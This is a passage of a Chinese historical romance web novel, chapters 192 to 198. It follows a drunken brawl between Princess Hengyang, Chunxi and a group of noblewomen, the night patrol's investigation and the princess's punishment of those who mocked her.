沈清渊没办法放心,索性拉着温砚书一起出门找人,然而一番交谈下来,温砚书却对恒阳公主一无所知。 眼看沈清渊的脸越来越黑,温砚书底气不足地说:“我虽不太了解公主,但成婚近十载,公主并未干过什么特别离奇的荒唐事,咱们还是回公主府等吧。” 沈清渊没有理会温砚书,揪着他又去找了萧夜辰,然而无忧阁也没有两人的踪影。 沈清渊周身的气息都冷了下来。 虽说恒阳公主身边总有暗卫保护,但若遇到什么变故,那些暗卫必然是以恒阳公主的安危为重,他们并不会豁出命去救春喜。 看出沈清渊的担忧,萧夜辰立刻道:“我手底的人消息还挺灵通的,沈大人若是信得过,我可派他们去打探情况,我保证他们不会闹出动静损害公主和沈少夫人的名声。” 这种时候,找到人是最重要的。 沈清渊并未客气推辞,沉沉道:“有劳。” 萧夜辰立刻派人出去打探消息,然而他的人刚出去没多久,阿鲤就带着雀枝来了无忧阁。 看到萧夜辰,雀枝很是惊讶,但她顾不上追问,急急地对沈清渊说:“巡夜司的人抓了沈少夫人,沈大人快去看看吧。” 沈清渊面色一寒,立刻起身往外走。 温砚书在后面追问:“那公主呢?公主没护着沈少夫人吗?” 雀枝表情一僵,迟疑地开口:“公主跟太傅府五夫人打起来了!” 温砚书:“……”??? 﨔 第193章 夫君,你休了我吧 父亲离世后,春喜今日是第一次喝醉。 她整个人都晕乎乎的,又异常的兴奋,骑着马跟公主一起出府吹了风,脑袋更是成了浆糊,不知今夕是何年,更不知自己身处何地,只知道跟着公主纵马疾驰。 然而她们骑着马没走多远,就遇到了云晚棠一行人。 今日云晚棠包了画舫设宴,她闺中时的好友如今都已成了世家夫人,多年未见,大家凑到一起聊过去,聊夫家和孩子,不知不觉就到了晚上。 坐上各自的马车回家,众人都还很是依依不舍,谁也没有想到两方人马会这样猝不及防地相遇。 这些人只喝了一点儿果酒,一个个都是清醒的,见到恒阳公主,全都停下来行礼问好,云晚棠更是亲自下了马车上前跟恒阳公主说话。 恒阳公主并未认出云晚棠,急着带春喜看星星,根本没有理会云晚棠。 她轻夹马腹就要径直离开,人群中不知是谁突然轻笑了一声。 那笑声颇为阴阳怪气,约莫是觉得恒阳公主虽然表面尊贵风光,却不得枕边人所爱,如今云晚棠回京,恒阳公主连见云晚棠的勇气都没有,只能在府里借酒消愁,结果喝醉了还出来丢人现眼。 “刚刚谁在笑,站出来!” 恒阳公主耳朵敏锐,扬着马鞭要问罪,那人连忙止了声,其他人也都纷纷摇头说是恒阳公主听错了。 “放屁,本公主明明听到了,你们还敢包庇她!” 恒阳公主很生气,索性跳下马准备一个个查看,云晚棠在这时上前打圆场,话里话外都是让恒阳公主大度些,不要太计较。 恒阳公主最不喜欢听的就是这种冠冕堂皇的话,她用力甩了下鞭子想让云晚棠离自己远点儿,沈清迟立刻上前护着云晚棠,其他人也都跟着下了马车围上来。 “干什么,你们还想仗着人多打本公主?” 怒火中烧,恒阳公主的声音跟着拔高。 春喜在马背上昏昏欲睡,旁的都没听清,就只听到了这句话。 她跟公主情投意合……啊呸,志趣相投,好不容易相识为知己,有人胆敢打公主,她能袖手旁观吗? 当然不能。 她曹春喜从小打架就没输过,断不能让人欺负了公主去! 也不知是谁先动的手,反正春喜冲到恒阳公主身边后,场面就乱了起来。 沈清渊赶到巡夜司时,巡夜司门口正热闹着。 一众世家夫人趁着夜色跟醉酒的恒阳公主打了起来,说是见了鬼也不足为过。 恒阳公主的酒还没醒,巡夜司不敢草率处置,只能把众人都请回巡夜司,然后去通知各府来赎人。 一众世家夫人都被安置在署衙大堂里,看到沈清渊,众人便想上前告状,沈清渊冷着脸没有理会,只让人带自己去见春喜。 沈清渊这一身威压实在太吓人,带路的人忍不住小声解释:“我等没有伤害沈少夫人,只是沈少夫人实在是太强了,为了其他夫人的安全,只能把她单独安置。” 说着话,走廊尽头一间小屋出现在眼前,负责看守的人连忙打开门锁。 门刚推开,春喜整个人就挥舞着拳头像是豹子一样蹿出来。 好在沈清渊早有预料,躲开挥过来的拳头,将人稳稳抱住。 还能蹦起来打人,应该没有大碍。 沈清渊悬着的心这才落地。 整个人被熟悉的胸膛包裹,鼻间也是熟悉的味道,春喜收起张牙舞爪,仰头盯着沈清渊看了好一会儿,脑子终于反应过来:“夫君,你来救我啦?” 春喜的嗓子明显沙哑,头发也乱糟糟的,瞧着很是狼狈。 “嗯。” 沈清渊应了一声,把她抱进屋里。 春喜还不知道事情的严重性,先告起状来:“夫君,我跟公主准备出城看星星,结果路上遇到一伙人,他们不由分说就围上来要打公主,我是为了保护公主才冲上去的,但双拳难敌四手,我被他们抓住了,不过公主逃走了,夫君快带人去救公主啊。” “已经有人去救了。” 沈清渊配合的回答,迅速把春喜浑身上下查看了一遍。 春喜脸上有抓伤,手腕上有被大力掐过的痕迹,头发也被扯掉了些,腰背更有被掐出来的淤紫。 查看完,沈清渊脸上凝出寒霜。 春喜有点被吓到,底气不足地问:“夫君,我给你闯祸了吗?” 不等沈清渊回答,春喜又继续道:“我一人做事一人当,是我动手打的人,要杀要剐都冲我来,夫君快写下休书,如此就不会连累到夫君了。” 春喜说着低下头要撕下裙摆给沈清渊写休书,沈清渊拉住她,脸色更难看:“别一出事就想着跟我撇清关系,你是我沈清渊认定的妻,就算你抄家灭九族的大祸,我也绝不可能休妻。” 春喜眨眨眼,崇拜道:“夫君,你说这些话的样子好好看啊,我的心都在怦怦跳,你不信可以摸摸看。” “……” 罢了,他跟醉鬼说这些做什么。 安抚好春喜,沈清渊回到大堂。 巡夜司的检使官从未遇到过如此棘手的情况,凑到沈清渊身边小声问:“沈大人,今晚这事牵连甚广,下官一时不知该如何处置,不知沈大人可有高见?” “自然是秉公处置,先问清楚事情的来龙去脉才行。” 沈清渊毫不犹豫地回答,检使官唇角抽了抽,忍不住提醒:“可是我的人赶到时,看到的是尊夫人和公主喝醉了在打其他人,真要秉公处理,怕是对尊夫人不利。” 公主醉酒打了人也就打了,可春喜出身低,唯一的靠山就是沈清渊,若要平息众怒,自然是要拿她开刀的。 沈清渊眼皮微掀,定定地看着检使官:“我夫人身上也有伤,而且还伤得不轻,方才我夫人也说了,是有人先要对公主不利,她为了保护公主才出手的,我夫人和公主只是醉了,不是疯了,断没有无缘无故打人的道理,大人说是吧?” 检使官额头冒出汗来。 他本来觉得恒阳公主喝醉了,而且又没吃什么亏,趁着恒阳公主的酒还没醒,让春喜道个歉息事宁人,却没想到沈清渊如此护短,不仅不接受道歉,还要细查这件事。 这不是逼着他去得罪人嘛。 检使官正为难着,下面的人又来报:“大人,卫大少爷来了。” “……” 得,又来一位祖宗! 﨔 第194章 夫人让我来看看大小姐 萧清禾今日也去赴了云晚棠的宴。 云晚棠待她很好,那些世家夫人也都很喜欢她,但听着这些人聊天,萧清禾的心不住发沉。 家家都有本难念的经,有的是夫君变心纳妾,妾室仗着宠爱耀武扬威,有的是婆母刻薄,每日都要被立规矩受折磨,有的是妯娌之间明争暗斗,心累不已。 每一个人都有自己的烦恼,但每一个人又都在继续这样的生活,和她们比起来,她的痛苦似乎不值一提。 若是有人知道她想和离,必然会说她太矫情了。 越到后面萧清禾越沉默,她甚至忍不住怀疑自己是不是太小题大做了,春喜和恒阳公主就是在这个时候出现的。 她们没带护卫,各自骑着一匹马在夜色下恣意奔驰,潇洒极了。 后来双方发生冲突,两人更是爆发出了以一敌百的气势。 没有矜贵端方,没有庄重体面,嘴里骂着,手脚并用地打着踹着,不管别人怎么看,只要自己心里痛快就好。 白日里将萧清禾紧紧束缚的窒息感在这样强烈的画面冲击下消散无踪。 她想,她和别人不一样,别人可以委曲求全,粉饰太平,但她不能。 她要像小婶婶和公主一样恣意地活着。 卫凌泽是在大堂角落的位置发现萧清禾的。 她的袖子被扯坏了一截,头上珠钗也已散落,乱蓬蓬的乌发被简单整理过,但脸上有一团淤青,瞧着还是狼狈。 两人从小一起长大,这么多年,卫凌泽还是第一次看到萧清禾如此落魄的一面。 卫凌泽快步走到萧清禾面前,沉沉地问:“谁动手打的你?” 萧清禾仰头看向他。 和他想象中的情况不同,那张绝美的脸并无慌张害怕,也没有柔弱痛苦的泪,相反的是,萧清禾的眸子很亮,有种和过去十多年循规蹈矩截然不同的朝气蓬勃。 “当时人太多,我没看清是谁动的手,我只是想把小婶婶和公主解救出来。” 萧清禾柔声回答。 虽然声调和平时没什么两样,卫凌泽还是听出了她语气中隐隐的雀跃。 打了一架还开心上了? 卫凌泽狐疑,正想继续追问,沈清渊和检使官走进大堂。 大堂里其他世家夫人伤的比春喜重多了,她们有的胳膊被咬,有的被抓花了脸,有的被踹伤了腰,其中最惨烈的当属云晚棠。 混乱发生时,云晚棠离恒阳公主最近,没多久就摔倒在地成了恒阳公主的肉垫,她的肋骨痛得厉害,不知道是不是被压断了,身上也有不同程度的踩伤,这会儿她面色发白,形容狼狈,再没有平日的美好。 一看到沈清渊,众人就围上去讨伐春喜,要沈清渊交出春喜给大家一个交代。 她们奈何不了恒阳公主,难道还奈何不了曹春喜? 一群女人聚在一起实在吵闹,沈清渊没有急着应声,等她们说累了才冷静开口:“今日之事牵连甚广,为免有人混迹其中,故意对公主不利,所有人都要单独审问,若有口供不一致者,可视为有重大嫌疑,须再三审问,确定口供的真实性。” 沈清渊语气严肃,并不为春喜辩解,反而把这当成什么重大案件来办,众人顿时傻了眼。 她们都是有头有脸的人,今晚被打成这样已经很丢人了,若能得个道歉,趁夜回家还能保留一点儿面子,这要是接受了讯问留下案底,回家如何交代?日后又如何出去见人? 众人下意识地看向云晚棠。 她们今日是为了赴云晚棠的宴才出门的,而且今晚也是为了帮云晚棠才动的手,现在事情闹成这样,云晚棠总得负责。 云晚棠暗暗咬牙。 她今日邀请这么多世家夫人,一来是叙旧联络感情,二来是想让萧清禾知道大家都是表面光鲜,私下过得并不好,所有人都这样过,萧清禾那点儿委屈也不算什么,三来她是想暗中拉踩恒阳公主,抬高自己在众人眼中的形象。 她主动约恒阳公主,那是早就释怀,心胸宽广,而恒阳公主不肯来赴她的约是小肚鸡肠,而且也侧面说明恒阳公主和驸马夫妻感情不好,驸马这些年一直对她念念不忘。 纵然她离开瀚京十年,已是两个孩子的母亲,她的魅力依然远在恒阳公主之上。 云晚棠算计得很好,今日的宴会也很成功,但她怎么也没想到恒阳公主和曹春喜会突然杀出来。 今晚大家挨了打,回去后都会生出怨念,若是还留下案底,怕是要恨死她。 不止这场宴席白做了,连她这十余年辛苦经营维系的关系也都功亏一篑。 云晚棠思绪飞转,正不知该如何是好,沈清迟突然站出来挡在她面前:“今晚分明是大嫂和公主醉酒闹事,大哥就算再怎么喜欢大嫂也不能是非不分吧?” 这话一出,众人顿时把矛头对准沈清渊,都觉得他在徇私舞弊。 沈清渊眼皮微掀,凉凉地看着沈清迟:“你的意思是,她们两个人醉酒之后是专门去打你们找乐子的,那她们手上可有兵刃或是什么趁手的东西?” 众人:“……” 又不是有什么血海深仇,恒阳公主怎么可能喝醉了专门跑来揍她们? 沈清迟咬唇,迟疑片刻说:“我之前帮着娘算计大嫂,大嫂一直怀恨在心,今日她喝醉了,看见我就想起了那些事,然后就扑上来打我,其他姐姐想帮忙把大嫂拉开,谁知大嫂发起酒疯谁都不认,这才闹出这样大的事来。” 在场的人几乎都挨了春喜的打,沈清迟相信不会有人拆穿自己的谎话,她这个站出来把错都归咎到春喜头上,不仅维护了云晚棠,也维护了大家。 众人连忙点头附和,这时萧清禾温温柔柔的声音响了起来:“不是这样的,小婶婶和公主并没有主动挑事,是有人先笑话了公主,大家才起了冲突。” 沈清迟捏紧绢帕,心中恼恨。 她忘记萧清禾也在场了。 可五婶是卫大少爷的亲小姨,对萧清禾也很好,萧清禾怎么能偏帮曹春喜呢? 卫凌泽也没想到萧清禾会在这个时候开口,他眯了眯眸,眼神很冷地看向萧清禾,下一刻,一个高大的身影却挡住了他。 萧夜辰站在萧清禾面前,完全阻绝了卫凌泽的视线,温声开口:“夫人听说大小姐出事,特意让我来看看大小姐。” 﨔 第195章 侄婿都被停职了,还不反思? 因为萧清禾的证词,所有人都被分开问话。 沈清渊他们不能参与询问,只能在大堂等待。 卫凌泽的目光一直钉在萧夜辰身上。 萧夜辰的身形和背影都像极了卫凌泽前两次见到的无忧阁阁主,而他刚刚无视卫凌泽,直接挡在萧清禾面前的行为更让卫凌泽十分不爽。 瞪了半晌,卫凌泽忍不住开口:“这位公子方才说是奉我岳母之命而来,我经常出入萧家,怎么从来都没有见过你?” 卫凌泽语气里满是怀疑,雀枝连忙上前解释:“大少爷,这位是咱们府里的辰少爷,他之前一直跟着二老爷在外做事,很少在府里。” 萧清禾不顾众人站出来帮春喜作证已经很麻烦了,雀枝生怕卫凌泽再生出什么误会来。 萧夜辰却不怕卫凌泽,他掀眸睨着卫凌泽,眸底带着讥笑:“陛下不是让卫大少爷在家好好休养吗,卫大少爷难道没有好好吃药,不然怎么现在还是这么疑神疑鬼?” 萧夜辰这是在暗讽他之前跑到云山寺捉奸的事。 卫凌泽的脸瞬间沉下,恶狠狠地瞪着萧夜辰:“你算什么东西,也配这样跟我说话?” “我是不算什么东西,”萧夜辰丝毫不惧,迎着他的目光说,“但我萧家的大小姐由不得人肆意欺负。” 两人之间的气氛剑拔弩张起来,雀枝看得心惊胆战,生怕两人会打起来,但好在行舟上前把卫凌泽拉到了一边。 现在他还在被停职中,不宜再生事端。 各府派来的人一直没有把人接回去,陆陆续续有人来催,但都被沈清渊挡了回去,谁都知道他是铁了心的要为春喜撑腰。 卫凌泽憋了一肚子的火无处宣泄,忍不住出口嘲讽沈清渊:“陛下看重沈叔叔,所以让沈叔叔提前复职,没想到沈叔叔精力这么好,竟然连后宅妇人之间的事都如此斤斤计较。” 寻常男子都觉得自己在外做的事才是大事,而后宅妇人困于方寸之间,只知道为一些鸡毛蒜皮的小事发愁,若有人一直围着妇人之事转悠,多半会被人认定没什么出息而被瞧不起。 沈清渊并不动怒,冷冷开口:“此事事关公主的安危,如今使臣团进京在即,万一公主有什么闪失,影响的可是皇家的威仪,有损我朝大国风范,侄婿才被停职几日,就连这点儿警觉都没有了?” 卫凌泽现在闲在家中,最听不得的就是有人提起停职之事,然而萧夜辰和沈清渊却一再地踩他的痛处,他恼怒的拔高声音:“不过是妇人之间的小打小闹,你竟把这件事与使臣团联系到了一起,简直是危言耸听!” “市井夫人之间打打闹闹自是无伤大雅,可今日在场的都是名门之妇,她们的夫郎更是朝中的中流砥柱,若此事处置不公,导致她们互相结怨,她们的夫郎亦会受到影响,若他们暗中较劲,等使臣团进京看到我朝臣子各怀心思、一盘散沙,难道不会有损我国威吗?” “你这简直是强词夺理!” 卫凌泽拔高声音,沈清渊波澜不惊说出一句绝杀:“所谓夫妻,荣辱一体,侄婿因为不懂爱惜自己的妻子被停职,如今竟还不知反思?” 又是停职,老东西到底要说几次才够? 卫凌泽怒火攻心,克制不住情绪正要暴起,从刚刚就在外面偷听的检使官连忙进来打圆场:“二位,消消气,我知道二位都很担心自家夫人,下官一定会尽快给大家一个交代的。” 检使官说着便要把收集来的口供拿给沈清渊看,沈清渊却不接,只道:“本官无权插手此案,而且本官的夫人牵连其中,大人不该把这些给本官看。” 检使官擦了擦汗,收回口供说:“卫少夫人所言不假,当时的确有人笑了一声,但当时天色太暗,没人注意到是谁笑的,不过沈夫人冲上来的架势太吓人,大家就都慌了,所以才……发生了混乱。” 说到最后,检使官的声音放轻。 大家的供述基本一致,矛头还是指向春喜的。 “沈清渊,你现在还有什么好说的?” 卫凌泽迫不及待地冷笑出声,好像凭这些供词就能定春喜一个死罪。 沈清渊没有理他,只对检使官说:“我无权插手此案,大人觉得该如何处置就如何处置。” 沈清渊气定神闲,半点儿不插手,检使官额头的冷汗冒得更凶了。 沈清渊这会儿虽然不插手,但若是他对结果不满意,明日就能捅到御前去,御史台那些老匹夫逮到点儿事就要趁机大谏特谏。 而且恒阳公主也不是个好惹的主,万一明日公主酒醒,跑进宫里向太后陛下一撒娇,陛下怪罪下来,他这个小小的检使官实在是扛不住啊。 “下官……下官觉得有几个地方还有些不清晰,下官再去好好问问。” 检使官匆匆离去,开始第二轮讯问。 原本那些世家夫人还抱着侥幸心理,觉得沈清渊不会太较真,而且家里也会派人来接,很快就能回家,但在第二轮讯问开始后,众人心里就不安了起来。 她们都是养尊处优惯了的人,从来没有在这种地方过过夜,若这事闹大了,给家族蒙羞,不知会被死对头如何笑话打压。 渐渐的,有人扛不住,开始回想认真回想细节。 天快亮时,检使官带着熬了一夜审出来的结果再次踏入大堂。 “沈大人,下官已问清楚了,昨夜是礼部侍郎的二儿媳笑了一声,刺激到了公主,太傅府五夫人出来打圆场,公主不依不饶,太傅府四少夫人怕五夫人吃亏,立刻上前维护,其他人也跟着上前,公主以为大家要动手,就喊了一声,沈夫人闻声冲了上来,太傅府四少夫人被吓到,推了沈夫人一把,然后就乱了套了。” 这事细究起来还是误会一场,就算找出谁先动的手,也到不了量刑判罪的地步。 沈清渊神色淡淡,还是之前那句话:“请大人秉公处置,本官无权插手。” 检使官:“……” 他哪敢轻易下定论啊,要不……等公主醒来再说? 﨔 第196章 你敢撒谎,就抄你全家 恒阳公主是被剧烈的头痛痛醒的。 她坐起来后,立刻感受到了浑身的酸痛。 身体像是被拆开重组过一样,哪哪儿都不舒服。 恒阳公主不住地倒吸冷气,整张脸写满了痛苦,她正琢磨着该怎么整顿府里的下人,一扭头,就对上一张俊美且熟悉的脸。 温砚书? 恒阳公主愣住,片刻后,冲上去给了尚未完全清醒的驸马一巴掌:“狗东西,你敢趁本公主喝醉爬本公主的床?” 恒阳公主用了全力,但看着温砚书衣衫不整、胸膛还布满抓痕和可疑吻痕的样子,胸口怒火还在不断攀升。 她是看着这个狗东西长得好看养在公主府还算赏心悦目才留下他的,他怎么敢趁人之危? 恒阳公主咬牙,面上浮起杀气,温砚书连忙开口:“公主误会了,这里是巡夜司,我们什么都没有发生。” 恒阳公主环视一周,这才发现这房间简陋无比,并不是公主府。 但身体的酸痛做不得假,她仍是防备地瞪着温砚书:“昨晚发生了什么,你怎么会在这里?” “昨晚公主和沈少夫人喝醉了,打了一众世家夫人,被巡夜司的人带回来了,沈大人来公主府找不到沈少夫人,就带着我一起来了巡夜司,我来给公主喂醒酒汤,谁知公主把我认成了无忧阁的小倌,要对我霸王硬上弓……” “放屁,这根本不可能!” 恒阳公主直接否决,见温砚书直勾勾地盯着自己,连忙转移话题:“阿喜呢,她没事吧?” 说着话,恒阳公主迅速把自己拾掇了一番,打开门走了出去。 听说公主醒了,检使官迅速赶来,把昨晚的前后经过细细与恒阳公主说了一遍。 “这事说到底其实是个误会,巡夜司扣了一夜的人,再关下去也不符合律法,公主大人有大量,肯定不会与她们一般见识,要不就……” “皇城脚下,本公主被人围殴了,你说这就是个误会?” 恒阳公主打断检使官,眼神和语气都冷得吓人,与生俱来的皇族气息扑面而来。 检使官顿时后背发凉,却还是小声说:“她们人虽然多,但都不及沈少夫人勇猛,沈少夫人把公主保护得很好,反倒是她们都受了伤,从昨晚到现在,已经有好多人来问过了,若是再不放人,恐怕会对公主的名声不利。” “呵~”恒阳公主冷笑,“正是因为本公主娇纵蛮横的名声还不够响亮,才会发生昨晚的事,若是没有阿喜陪着,那些人岂不是要吃了本公主?” “……” 其实公主你自己也很强,而且还有暗卫帮你呢。 检使官还想再劝,恒阳公主先一步问:“阿喜现在在哪儿?” “回公主,沈少夫人还没醒,沈大人不让人打扰她。” 沈清渊一直守在这里? 恒阳公主挑眉,瞬间明白巡夜司为什么能把这么多世家夫人扣留一夜还把事情查得这么清楚了。 看来这老男人是真的很喜欢春喜啊。 恒阳公主没去打扰春喜,只问春喜有没有受伤。 检使官不敢隐瞒,将沈清渊检查后的结果告诉恒阳公主。 很快,恒阳公主就来到大堂和一众世家夫人碰面。 挨了揍,加上一夜讯问,就连云晚棠都扛不住疲倦和一身狼狈失了光彩,其他人更是像霜打了的茄子,毫无生气。 看到恒阳公主,云晚棠立刻站出来说:“公主殿下,你若是对臣妇有什么不满,大可冲着臣妇来,没必要牵连这么多无辜的人。” 云晚棠原本是不打算跟恒阳公主起正面冲突的,但昨夜的事打了她一个措手不及,她如果这个时候不站出来,其他人都会怨怪她的。 恒阳公主轻飘飘地扫了云晚棠一眼,淡声道:“你的事晚点儿再说,昨晚笑话本公主的人先站出来。” 众人都已招供,礼部侍郎府的二少夫人脸色发白地跪到恒阳公主面前:“臣妇知错,求公主恕罪!” “别急,你先说说你为什么要笑,本公主再考虑要不要治你的罪。” “……” 这位二少夫人心眼儿小,最是见不得别人比自己好,她自己的夫君空有家世,却长得颇丑,一次偶然见过驸马之后,这位二少夫人就恨上了恒阳公主,每每听到云晚棠和驸马捕风捉影的传闻都要暗喜许久。 昨日她见恒阳公主“不敢”来赴云晚棠的约,觉得云晚棠把公主比了下去,好像自己也比公主有魅力了,因此晚上见恒阳公主和春喜醉醺醺的出现,便没忍住乐出了声。 但她没想到自己只是笑了一下,竟然会惹出这样大的祸事,这会儿当着恒阳公主的面更不敢说自己为什么会笑了。 “臣妇……臣妇当时想到了一件过去的糗事,所以不小心笑出声来,臣妇发誓臣妇绝对不是在笑话公主!” “哦?是吗,那你用你娘家和夫家九族的人发誓,若你今日对本公主撒了谎,明日你的娘家和夫家就会被满门被抄,全家死绝!” 恒阳公主的声音不大,脸上甚至是带着笑的,但在场的人没有一个觉得她是在开玩笑。 跪在地上的妇人脸色瞬间变得惨白,整个人如坠冰窖。 她不敢发这样的誓。 恒阳公主是陛下一母同胞的亲妹妹,是真的有能力让这个誓言应验的人。 万一恒阳公主一怒之下,真的要灭他们两家的九族,那她就是万死也难辞其咎。 气氛冷凝,冷汗从额头滑落,许久之后,妇人颓然地开口:“臣妇刚刚撒谎了,臣妇昨晚确实是在笑话公主,臣妇觉得公主是因为太傅府五夫人突然回京借酒消愁,一时幸灾乐祸,所以笑出了声,臣妇愿意听凭公主处置,只求公主放过臣妇的家人。” 恒阳公主很满意这个回答,冷声命令:“来人,把她拖下去掌嘴三十,然后放人。” 这位妇人被拖走后,恒阳公主的目光落在沈清迟身上。 沈清迟心慌不已,片刻后捂着肚子痛呼起来。 恒阳公主并未为难,派人去请大夫,又让人把沈清迟扶到旁边房间休息,然后看向云晚棠:“现在,可以好好说说你和驸马之间的事了。” 﨔 第197章 本公主也说了,让你跪下! 恒阳公主要当面对质,云晚棠丝毫不慌,只是在温砚书走进来时,默默红了眼眶,像是受了天大的欺负。 温砚书果然先看了她,然后才看向恒阳公主。 恒阳公主并不介意温砚书先看的谁,冷冷开口:“这些年本公主因为驸马受了不少非议,今日驸马的心上人好不容易回来了,还请驸马当着大家的人面说清楚到底是怎么回事。” 不等温砚书开口,恒阳公主又补充道:“若本公主真的做了棒打鸳鸯的恶人,今日本公主就与驸马一拍两散,再亲自下跪斟茶,给太傅府五夫人道歉,若本公主是清白的,那就请五夫人给本公主磕头认错!” 虽然宿醉头疼,但恒阳公主的气势远在云晚棠之上,这话说出来不像是在证明清白,更像是恒阳公主在用权势压人。 有人忍不住替云晚棠打抱不平:“就算公主是清白的,公主也该治造谣者的罪,怎能将怒火发泄在另一位被谣言所害的无辜者身上?” 不少人跟着点头附和,恒阳公主并不动怒,只凉凉地扫了众人一眼道:“这是本公主和他们之间的事,还轮不到你们跳出来狗叫,谁再敢废话,全都拖出去掌嘴!” 外面的巴掌声还没停,配上恒阳公主的话,威慑力十足。 众人互相看看,皆不敢再吭声。 耳边清净下来,恒阳公主冲温砚书抬了抬下巴,示意该他说话了。 云晚棠抢在驸马之前开口:“臣妇多年前就已随夫去往翁州,私下与驸马并无往来,公主何必要因为那些闲言碎语如此为难驸马为难臣妇呢?就算今日在这儿说清楚了,宣扬出去反而会引来更大的非议,恕臣妇直言,公主此举实在不够明智。” 恒阳公主方才还要云晚棠磕头认错,云晚棠却在好心规劝恒阳公主莫要闹出更大的笑话,两相对比,高下立现。 云晚棠不用看众人的脸色都知道大家听完这话是偏向自己的,至于驸马,就更不用说了。 在盛气凌人的公主面前,她这样温柔又识大体的姑娘自然是应该被怜惜的。 云晚棠胸有成竹,唇角不自觉上扬,然而下一刻却听到温砚书温润有礼的声音:“其实这么多年,我也很好奇为什么会有那么多关于我爱慕你的传言。” “……”??? 驸马不喜欢云晚棠? 这怎么可能? 这些流言出现不是一日两日了,驸马可从来没有否认过啊。 众人在震惊之后,都觉得这是驸马的狡辩之词。 毕竟云晚棠如今家庭美满,儿女绕膝,驸马否认当年的情意对彼此来说都是好事。 众人刚在心里为驸马找好借口,又听到驸马说:“当年流言刚出,我便写了告示请巡夜司帮忙贴满全城澄清此事,温某与你不过是有几面之缘,说过几次话,绝无私交,能被公主榜下捉婿温某更是乐意之至。” “……”??? 驸马有贴过告示澄清此事吗,怎么她们一点儿印象都没有? 别说众人没有印象,连恒阳公主都是一脸茫然。 驸马竟然澄清过这件事? 正想着,检使官拿着巡夜司十年前的布告档案来到众人面前:“驸马所言句句属实,十年前下官还没到任,但布告档案里还存有驸马亲笔所写的告示呢。” 检使官说着将告示高高举起。 上面不只有驸马为了澄清事实写的文字,最末尾的位置还有几位愿意为驸马作证的同窗名字和手印。 这些人当时排名比较靠后,名字不如驸马和沈清渊的响亮,但经年之后,这些人也都是各地颇有建树的父母官了。 想做驸马的人多不胜数,若这份告示是假的,早就被人捅出来,连这些按了手印的人都是要和驸马一起被治个欺君之罪的,怎可能让他们走到今日? 众人面面相觑。 驸马不喜欢云晚棠,还贴出告示澄清此事,那关于驸马爱慕云晚棠的消息是谁传出来的? 恒阳公主是绝对不可能凭空给自己捏造一个情敌出来的啊。 众人不自觉把目光投向云晚棠。 云晚棠面不改色,直勾勾地看着恒阳公主:“当年的消息是怎么传出来的臣妇也不清楚,但这么多年,臣妇从未说过公主半句不是。” 云晚棠说出来的话铿锵有力,一点儿也不心虚,众人刚升起那点儿疑虑顿时消散无踪。 是啊,云晚棠一成婚就去了翁州,何曾说过公主半句坏话? 而且好端端的她怎可能捏造驸马爱慕自己的谣言让公主针对她呢,这对她的名声也不好啊。 应该是有人嫉妒她或者记恨恒阳公主,所以故意造谣生事吧。 众人都在心里为云晚棠开脱,恒阳公主却无动于衷,迎着云晚棠的目光问:“所以你现在承认驸马其实从未倾心于你,本公主也从未抢过你的心上人,更不曾因爱生妒、迫你远嫁?” “请公主明鉴,晚棠从未说过这样的话抹黑公主和驸马。” 云晚棠的确没有明确说过,当年她不过是在一些场合听到有人提起公主榜下捉婿之事时露出黯然神伤之色,关于恒阳公主横刀夺爱的谣言就不胫而走了。 她的美名和才名早已传遍瀚京,却没多少人知道那年的探花郎温砚书其实是个世间罕见的美男子。 高高在上的神女都动了凡心,温砚书怎可能不爱慕她呢? 所以他贴出的告示没人会信。 即便恒阳公主现在去查,也查不到任何蛛丝马迹。 云晚棠垂眸掩下眸底的思绪,只是有点可惜以后会失去恒阳公主这片衬托自己的绿叶。 她自小就聪慧,而且容貌还很出众,纵然出身算不得最高贵,但不管走到哪里都是受人追捧的,哪怕嫁了人生了孩子,也还是有很多追求者,她很享受被人奉在神坛、不费吹灰之力就将其他女子都比下去的感觉。 将公主踩在脚下,尤其快乐。 不过这次回京她就不会走了,以后还多的是机会。 云晚棠正想着,恒阳公主的声音再度传来:“既然你承认本公主是清白的,那就跪下吧。” “公主,臣妇说了,臣妇从未说过抹黑公主的话。” 恒阳公主挑眉:“本公主也说了,让你跪下!” 﨔 第198章 夫人,你还是先看看休书吧 “公主的身份虽然尊贵,但要让臣妇下跪,多少也该给个理由吧?” 云晚棠一脸不屈。 未离京时,她走到哪儿都是众星拱月,这些年在翁州更是倍加受人追捧,昨夜被打对她来说已经很屈辱了,再要她当众下跪,实在让她难以接受。 其他人也想替云晚棠说话,但想到恒阳公主的脾气,又不敢吭声,只能把目光投向温砚书。 恒阳公主也看向温砚书:“驸马可要英雄救美?” 虽然温砚书拿出了当年澄清的告示,恒阳公主也还是不太相信他对云晚棠真的毫无怜惜之意。 温砚书闻言看向云晚棠。 云晚棠本就红着眼眶,这下直接落下泪来。 她本以为温砚书刚刚才当众和自己撇清关系,这会儿见自己如此被欺负应该会心软一下,谁知却听到温砚书说:“公主莫名背负了近十年的骂名,云家从未公开澄清过,夫人是该向公主赔罪的。” “……” 驸马,你不是跟公主感情不和吗,什么时候变得这么妇唱夫随了? 温砚书都站到了公主那边,其他人就更不敢说话了,片刻的僵持后,云晚棠到底还是跪了下去。 处置完云晚棠,恒阳公主又把趁着混乱暗中对春喜下黑手的人都找出来挨个惩治了一番。 恒阳公主消了气,检使官这才敢放人回去。 ** 春喜是在傍晚被饿醒的。 脑袋疼得像是要炸开,一杯水被喂到嘴边,她连喝了三杯整个人才勉强清醒过来,然后发现自己回了家,沈清渊就在身边。 她不是去公主府品酒了吗,什么时候回来的? 肚子饿得厉害,春喜想找点儿东西吃,刚下床,就感觉身体到处都在疼。 “嘶~”春喜倒吸了一口冷气,蹙眉问沈清渊,“夫君,我怎么感觉浑身都好疼,你趁我喝醉打我了吗?” “夫人好好想想,是我打的你吗?” 沈清渊反问,语气意味不明,春喜莫名觉得不安,连忙细细回忆起来。 她去了公主府品酒,公主和她相谈甚欢,公主说要带她去个好地方看星星,然后她们骑马出门,再然后…… 春喜瞪大眼睛,她难以置信地看着沈清渊:“我和公主一起跟人打架了?” 说到最后,春喜的声音控制不住发颤,非常希望那只是自己喝醉后做的一场梦。 然而下一刻就被沈清渊一盆冷水浇透。 “夫人不仅打了,还打得满城皆知,这会儿恐怕连陛下太后也都知道了。” “……”!!! 春喜整个人僵在原地。 她隐约记得自己打了沈清迟,还有好多位有头有脸的世家夫人。 虽说她喝醉了,还是跟恒阳公主一起的,但这些被打的人奈何不了公主,肯定是要把仇记在她头上的。 那她昨晚岂不是得罪了好多好多人? 喝酒果然误事,她怎么能闯下这么大的祸? 